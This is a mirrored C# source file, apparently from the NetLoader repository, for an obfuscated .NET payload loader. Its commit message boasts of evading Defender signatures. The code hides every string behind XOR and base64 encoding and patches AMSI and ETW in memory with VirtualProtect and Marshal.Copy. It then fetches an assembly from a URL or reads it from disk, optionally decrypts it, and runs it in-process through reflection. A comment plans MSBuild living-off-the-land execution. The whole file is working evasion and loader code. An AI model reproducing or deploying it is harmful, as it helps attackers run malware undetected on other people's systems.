mirror of
https://github.com/Flangvik/NetLoader
synced 2026-06-21 13:43:06 +00:00
4ca3953b12
Fixed signature update aswell, this time defender actually added signatures for the bytes used to patch AMSI. Obfuscated and fixed :)
281 lines
18 KiB
C#
281 lines
18 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Text;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
using System.Linq;
|
|
using System.Threading;
|
|
|
|
//This if for MSBuild LOL bin stuff later
|
|
//using Microsoft.Build.Framework;
|
|
//using Microsoft.Build.Utilities;
|
|
public class CopulatesBaldwin{
|
|
private static object[] AstayPatronise = null;
|
|
[DllImport("kernel32")]
|
|
private static extern bool VirtualProtect(IntPtr TinctoriallyVitrail, UIntPtr MotormanCoigning, uint SemidiapenteSubcontinent, out uint MaximizeDolors);
|
|
[DllImport("kernel32")]
|
|
private static extern IntPtr GetProcAddress(IntPtr RajeshAvertin, string RibbidgeFixures);
|
|
[DllImport("kernel32")]
|
|
private static extern IntPtr LoadLibrary(string SumoistBeyship);
|
|
private static byte[] DamkjerniteIntrosume(string url)
|
|
{
|
|
HttpWebRequest MenzieBethumps = (HttpWebRequest)WebRequest.Create(url);
|
|
MenzieBethumps.Proxy.Credentials = CredentialCache.DefaultCredentials;
|
|
MenzieBethumps.Method = Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("BDch"), "CrumblyUncitable"));
|
|
WebResponse PyelogramPoxvirus = MenzieBethumps.GetResponse();
|
|
MemoryStream ms = new MemoryStream();
|
|
PyelogramPoxvirus.GetResponseStream().CopyTo(ms);
|
|
return ms.ToArray();
|
|
}
|
|
private static byte[] MachismosCircumspective(string NonfailureDiscommodate, FileMode NormocyteUnfringe)
|
|
{
|
|
byte[] RefitsWit = null;
|
|
using (FileStream fs = new FileStream(NonfailureDiscommodate, NormocyteUnfringe, FileAccess.Read))
|
|
{
|
|
RefitsWit = new byte[fs.Length];
|
|
fs.Read(RefitsWit, 0, (int)fs.Length);
|
|
}
|
|
return RefitsWit;
|
|
}
|
|
private static void EtheriidaeUnshrined()
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("AQoRAgNbQw=="), "TypefaceEmeries")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("BhwNBhd3QTVLEFNQPHM0QRkdP0FSDRccWjxzQhwABiVBUgQbCwUTKjAcAAYlX049XwQWBiBPUAMbIwAcHy0EFgYgUTE="), "SolarManfreda")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CBFKF1tRVFQ6HTcGAQgHEwFPFDgEAFUdBBwVGAg3ChxGABwJBhE1EQ4bCkUaHBQZYw4CCkkdGQcXJkUXFB8EAxEBCDEcTgcbF00NEycAUUFNAAAXGgkmC0A="), "TegumentumConfirmor")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("HxtLHgMbVEcaHhEEHwYPEgVaFQUxDgsDGAwcRzwAAQQTCRUaBx1FECsOEkYOAAAGJxdFCxkEBABJGxcBYzcpNEwMAAQnFxUZFQxPUyQPFhBjDQNGCgYCCzoZAAlQChhTHRIARBsgNEYIDA0VLB4RBB8GQRgMA0s="), "CofflingUnemphasized")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("FBFBGQ4ZDU5SJAIvCBQZBhQcUh8UASkICR0KH0tUOwcHKA8UGQwVRQYHEFM4BBgBQ00AHQYBBjNMGQIKBwlSAAdTKUU5OyNBRRsUSRcpCVUPAAgEABZVBydFAAYOCUs="), "HeliometricAlumiferous")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("GBFOAB8XFl5wPRUHDAMCHSUJQxEMAgQJNQYAAUUZHxYgRRcOTQAEFyNSBAECGQEWKhEQQRkfRRA4F0UfCg0IFiBFAQgDERcdflIoBhYYTBEhRQUOARwKEzUWRREcTA0fKEUCEwoFCAE+BhZTAwMeUzANBkEPGQsFIgtL"), "DecampedPresells")));
|
|
}
|
|
private static void AerobusDiaphote(byte[] MelancholishCosecs, string UndergarmentsZephyrean)
|
|
{
|
|
StrictnessInfarct(PelvirectalMeagreness(UnnaturalismRusticial(SwatheableResole(MelancholishCosecs, UndergarmentsZephyrean))));
|
|
}
|
|
private static IntPtr TrihydrideProffer(IntPtr NoveltyAgeisms)
|
|
{
|
|
uint VelicRigourism = 0;
|
|
if (VirtualProtect(NoveltyAgeisms, (UIntPtr)CinematizeUnridably().Length, 0x40, out VelicRigourism))
|
|
{
|
|
return NoveltyAgeisms;
|
|
}
|
|
else
|
|
{
|
|
return (IntPtr)0;
|
|
}
|
|
}
|
|
private static object StrictnessInfarct(MethodInfo AlatedYelps)
|
|
{
|
|
if (DaughterUnslurred(AlatedYelps) == AlatedYelps.ReflectedType)
|
|
return AlatedYelps.Invoke(null, AstayPatronise);
|
|
return AstayPatronise[0];
|
|
}
|
|
private static IntPtr LoggieDunites()
|
|
{
|
|
return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("JwwfBVc0CQg="), "FallyPedantize"))), Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ABgeAD8HABwOGgEJCBM="), "AumildarLogomachs")));
|
|
}
|
|
private static Assembly UnnaturalismRusticial(byte[] BrodyagaSlobbered)
|
|
{
|
|
return Assembly.Load(BrodyagaSlobbered);
|
|
}
|
|
private static byte[] SwatheableResole(byte[] PreformismRechurn, string OverbrayLibera)
|
|
{
|
|
//byte[] keyBytes = Encoding.UTF8.GetBytes(OverbrayLibera);
|
|
byte[] RefitsWitBytes = new byte[PreformismRechurn.Length];
|
|
for (int i = 0; i < PreformismRechurn.Length; i++)
|
|
{
|
|
RefitsWitBytes[i] = (byte)(PreformismRechurn[i] ^ Encoding.UTF8.GetBytes(OverbrayLibera)[i % Encoding.UTF8.GetBytes(OverbrayLibera).Length]);
|
|
}
|
|
return RefitsWitBytes;
|
|
}
|
|
private static Type DaughterUnslurred(MethodInfo AlatedYelps)
|
|
{
|
|
return AlatedYelps.ReflectedType;
|
|
}
|
|
private static void UnquemeOverreduce()
|
|
{
|
|
try
|
|
{
|
|
var HyoplastronHandwrought = IsochorTushes();
|
|
uint UntenuousnessSalpingectomy;
|
|
var ThoroughlyOnychia = LoadLibrary(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IhUGBQNCDQIL"), "LabiolingualBagasses")));
|
|
var TranshippedOverfishing = GetProcAddress(ThoroughlyOnychia, Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("BhwYNxMVBwc0HRkRMQ=="), "ChorepiscopeThallogen")));
|
|
VirtualProtect(TranshippedOverfishing, (UIntPtr)HyoplastronHandwrought.Length, 0x40, out UntenuousnessSalpingectomy);
|
|
Marshal.Copy(HyoplastronHandwrought, 0, TranshippedOverfishing, HyoplastronHandwrought.Length);
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("EkUqTyYbByoCBhIIGggDF1QaBwwmARwKEU4hHTBU"), "InwoundIguanodontoid")));
|
|
}
|
|
catch
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CEI1TyoeEAALSQYGBBY7GQgHC0U3PSNE"), "SchoolboyishlyTrailerite")));
|
|
}
|
|
}
|
|
private static byte[] IsochorTushes()
|
|
{
|
|
if (!LeucocrateSuperseraphically())
|
|
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Mw0yKA=="), "DecinormalProtochorMelancholishCosecs")));
|
|
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IhlNTw=="), "UnproliferousOctasemic")));
|
|
}
|
|
private static byte[] CinematizeUnridably()
|
|
{
|
|
if (!LeucocrateSuperseraphically())
|
|
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("JSkQNTJaITYqLi9U"), "PostpneumonicStethal")));
|
|
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ICgTIDBVNy0="), "UnparasiticallyJumpiest")));
|
|
}
|
|
private static void AllegoristerMalarrangement(string ManservantWamefou, string[] DetentesRahul, bool MothproofEuropeanlyoded = false, string UndergarmentsZephyrean = "", int ExEvenoo = 0)
|
|
{
|
|
CauseurRebecks(ExEvenoo);
|
|
if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZA=="), "DisquietednessIntoxicatively")), DetentesRahul)))
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("EEI/SSEoJUE3BTU/RFZF"), "KibitzingDawdles")) + ManservantWamefou + Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Dx0JGRgWGgYcVUlM"), "NonlustrouslyUnvivacious")) + string.Join(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZA=="), "DisquietednessIntoxicatively")), DetentesRahul));
|
|
else
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("EEI/SSEoJUE3BTU/RFZF"), "KibitzingDawdles")) + ManservantWamefou + Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Dx0JGRgWGgYcVUlM"), "NonlustrouslyUnvivacious")) + string.Join(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZA=="), "DisquietednessIntoxicatively")), DetentesRahul));
|
|
}
|
|
AstayPatronise = new object[] { DetentesRahul };
|
|
if (MothproofEuropeanlyoded && ManservantWamefou.ToLower().StartsWith(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IBUGFQ=="), "HarelikeRecollecting"))))
|
|
{
|
|
AerobusDiaphote(DamkjerniteIntrosume(ManservantWamefou), UndergarmentsZephyrean);
|
|
}
|
|
else if (!MothproofEuropeanlyoded && ManservantWamefou.ToLower().StartsWith(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IBUGFQ=="), "HarelikeRecollecting"))))
|
|
{
|
|
GrievantsBombycidae(DamkjerniteIntrosume(ManservantWamefou));
|
|
}
|
|
else if (!MothproofEuropeanlyoded && !ManservantWamefou.ToLower().StartsWith(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IBUGFQ=="), "HarelikeRecollecting"))))
|
|
GrievantsBombycidae(MachismosCircumspective(ManservantWamefou, FileMode.Open));
|
|
else
|
|
AerobusDiaphote(MachismosCircumspective(ManservantWamefou, FileMode.Open), UndergarmentsZephyrean);
|
|
}
|
|
public static int CauseurRebecks(int ShoppishFaba)
|
|
{
|
|
ServicePointManager.SecurityProtocol = (SecurityProtocolType)ShoppishFaba;
|
|
return ShoppishFaba;
|
|
}
|
|
private static string DelocalisingArmrests(string PreformismRechurn, bool AccomplishesSexist)
|
|
{
|
|
if (AccomplishesSexist)
|
|
PreformismRechurn = Encoding.UTF8.GetString(Convert.FromBase64String(PreformismRechurn));
|
|
if (PreformismRechurn.Trim().ToLower().Equals(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Ow=="), "CodebookTitanesque"))))
|
|
Environment.Exit(0);
|
|
return PreformismRechurn;
|
|
}
|
|
public static void Main(string[] args)
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("HFgwTh81GAgNBhoFEmFeQxYxGxwORB1nWiMLFT8bCAcEHg=="), "GymnasticallyArchpirate")));
|
|
UnquemeOverreduce();
|
|
AmylometerOrthodiagraphy();
|
|
int DioptometerSuccedaneum = (Convert.ToInt32(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Y0pR"), "PreclassicRomancy"))) * Convert.ToInt32(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("aA=="), "PlurilocularNondemonstrability"))));
|
|
string AsclepinVvll = "";
|
|
string[] UnguicornAponeurositis = new string[] { };
|
|
bool BactericidinUpbray = false;
|
|
bool MothproofEuropeanly = false;
|
|
string UndergarmentsZephyrean = "";
|
|
if (args.Length > 0)
|
|
{
|
|
foreach (string argument in args)
|
|
{
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("a0IQU0c="), "ForeseatAcroblast")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("bwNYUA=="), "BandagistBurgomastership")))
|
|
{
|
|
BactericidinUpbray = true;
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("GUcoRicJHmUZBhUUCBUHBBtZEhcETAANBgNQUVIgFhcdBQAURVAMHBAKBQUsC1USDgAfZRcaUhUNFUkWBAA="), "BlufferExtraepiphyseal")));
|
|
}
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("bhcBBg=="), "ContraceptivesMegatherm")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("eUIIHB0="), "TopsoiledPneumonorrhagia")))
|
|
{
|
|
MothproofEuropeanly = true;
|
|
int HookingEmptive = Array.IndexOf(args, argument) + 1;
|
|
if (HookingEmptive < args.Length)
|
|
{
|
|
string DharmashastraUnderlaps = args[HookingEmptive];
|
|
if (BactericidinUpbray)
|
|
UndergarmentsZephyrean = Encoding.UTF8.GetString(Convert.FromBase64String(DharmashastraUnderlaps));
|
|
else
|
|
UndergarmentsZephyrean = DharmashastraUnderlaps;
|
|
}
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("DEopRTYIDBweFQYhGwpPKiYhVBY5AgYcAhkKCkcHGyYUHxZSHAAdHTBBHwALTUgVVxhV"), "WatermongerHumorists")), UndergarmentsZephyrean);
|
|
}
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("aAgCBg0="), "ExcrescentlyThimblemaker")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("fUweBRUG"), "PandanaceousFluoridisation")))
|
|
{
|
|
int HookingEmptive = Array.IndexOf(args, argument) + 1;
|
|
if (HookingEmptive < args.Length)
|
|
{
|
|
string SporophyllaryDiarticular = args[HookingEmptive];
|
|
if (BactericidinUpbray)
|
|
AsclepinVvll = Encoding.UTF8.GetString(Convert.FromBase64String(SporophyllaryDiarticular));
|
|
else
|
|
AsclepinVvll = SporophyllaryDiarticular;
|
|
}
|
|
}
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("fhQcFAc="), "SunstonesWolly")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZkQKExUy"), "KikarAnalogs")))
|
|
{
|
|
int CannibalisticallyWhitewasher = Array.IndexOf(args, argument) + 1;
|
|
int CatharisticWirings = args.Length - CannibalisticallyWhitewasher;
|
|
UnguicornAponeurositis = new String[CatharisticWirings];
|
|
for (int i = 0; i < CatharisticWirings; i++)
|
|
{
|
|
string SporophyllaryDiarticularArgs = args[CannibalisticallyWhitewasher + i];
|
|
if (BactericidinUpbray)
|
|
UnguicornAponeurositis[i] = Encoding.UTF8.GetString(Convert.FromBase64String(SporophyllaryDiarticularArgs));
|
|
else
|
|
UnguicornAponeurositis[i] = SporophyllaryDiarticularArgs;
|
|
}
|
|
}
|
|
}
|
|
if (string.IsNullOrEmpty(AsclepinVvll))
|
|
{
|
|
EtheriidaeUnshrined();
|
|
Environment.Exit(0);
|
|
}
|
|
AllegoristerMalarrangement(AsclepinVvll, UnguicornAponeurositis, MothproofEuropeanly, UndergarmentsZephyrean, DioptometerSuccedaneum);
|
|
Environment.Exit(0);
|
|
}
|
|
while (true)
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Fl4zTigdIwAERSpPAABUBBwXQQokBAIKQQc8VRUdGxtI"), "MannasSuperointernal")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CFMoTT4aUwQkA1IIBiMZAU0VCAAAfltSBAYwAxEIE0lMRTFAHEFFbUw="), "SlumwiseHorah")));
|
|
BactericidinUpbray = GalactosemicHatchling(Console.ReadKey(false).Key);
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("GFAwUCULEwEHbQUSFx1MAAFQHBwNTG5RTQ=="), "ComplectsMusculospinal")));
|
|
AsclepinVvll = DelocalisingArmrests(Console.ReadLine(), BactericidinUpbray);
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("C1ckUyYQTB0bEU8FEjENHxEBTjQJDRJPOyM7UxEBFgExEQQVAU5vSABcAUNBV1M="), "PhysoclistousHappen")));
|
|
MothproofEuropeanly = GalactosemicHatchling(Console.ReadKey(false).Key);
|
|
if (MothproofEuropeanly)
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("FVAzTSwPAwAGQRYBCUksNhlFBwk3T0NTRQ=="), "NonmeasurabilityKell")));
|
|
UndergarmentsZephyrean = DelocalisingArmrests(Console.ReadLine(), BactericidinUpbray);
|
|
}
|
|
Console.WriteLine("[?] Input payload args (optional) -> ");
|
|
UnguicornAponeurositis = DelocalisingArmrests(Console.ReadLine(), BactericidinUpbray).Split(' ');
|
|
if (AsclepinVvll.Length > 0)
|
|
{
|
|
AllegoristerMalarrangement(AsclepinVvll, UnguicornAponeurositis, MothproofEuropeanly, UndergarmentsZephyrean, DioptometerSuccedaneum);
|
|
}
|
|
}
|
|
}
|
|
private static bool LeucocrateSuperseraphically()
|
|
{
|
|
if (IntPtr.Size == 4)
|
|
return false;
|
|
return true;
|
|
}
|
|
private static void GrievantsBombycidae(byte[] MelancholishCosecs)
|
|
{
|
|
StrictnessInfarct(PelvirectalMeagreness(UnnaturalismRusticial(MelancholishCosecs)));
|
|
}
|
|
private static MethodInfo PelvirectalMeagreness(Assembly asm)
|
|
{
|
|
return asm.EntryPoint;
|
|
}
|
|
private static bool GalactosemicHatchling(ConsoleKey InsectileGlobeflower)
|
|
{
|
|
if (InsectileGlobeflower == ConsoleKey.X)
|
|
Environment.Exit(0);
|
|
return (InsectileGlobeflower == ConsoleKey.Y);
|
|
}
|
|
private static void AmylometerOrthodiagraphy()
|
|
{
|
|
IntPtr NoveltyAgeisms = TrihydrideProffer(LoggieDunites());
|
|
if (NoveltyAgeisms != (IntPtr)0)
|
|
{
|
|
Marshal.Copy(CinematizeUnridably(), 0, NoveltyAgeisms, CinematizeUnridably().Length);
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CE4lTz8aBAoWBz0HBg0eHXMVGRsPBwINUzUDMjpA"), "SexologistNasard")));
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CE4wRSISERccAAAAdS85NidBKDUoLikh"), "SomersettingUntenantableness")));
|
|
}
|
|
}
|
|
/*
|
|
//This is for MSBuild later
|
|
public class ClassExample : Task, ITask
|
|
{
|
|
public override bool Execute()
|
|
{
|
|
CopulatesBaldwin.Main(new string[] { });
|
|
return true;
|
|
}
|
|
}
|
|
*/
|
|
} |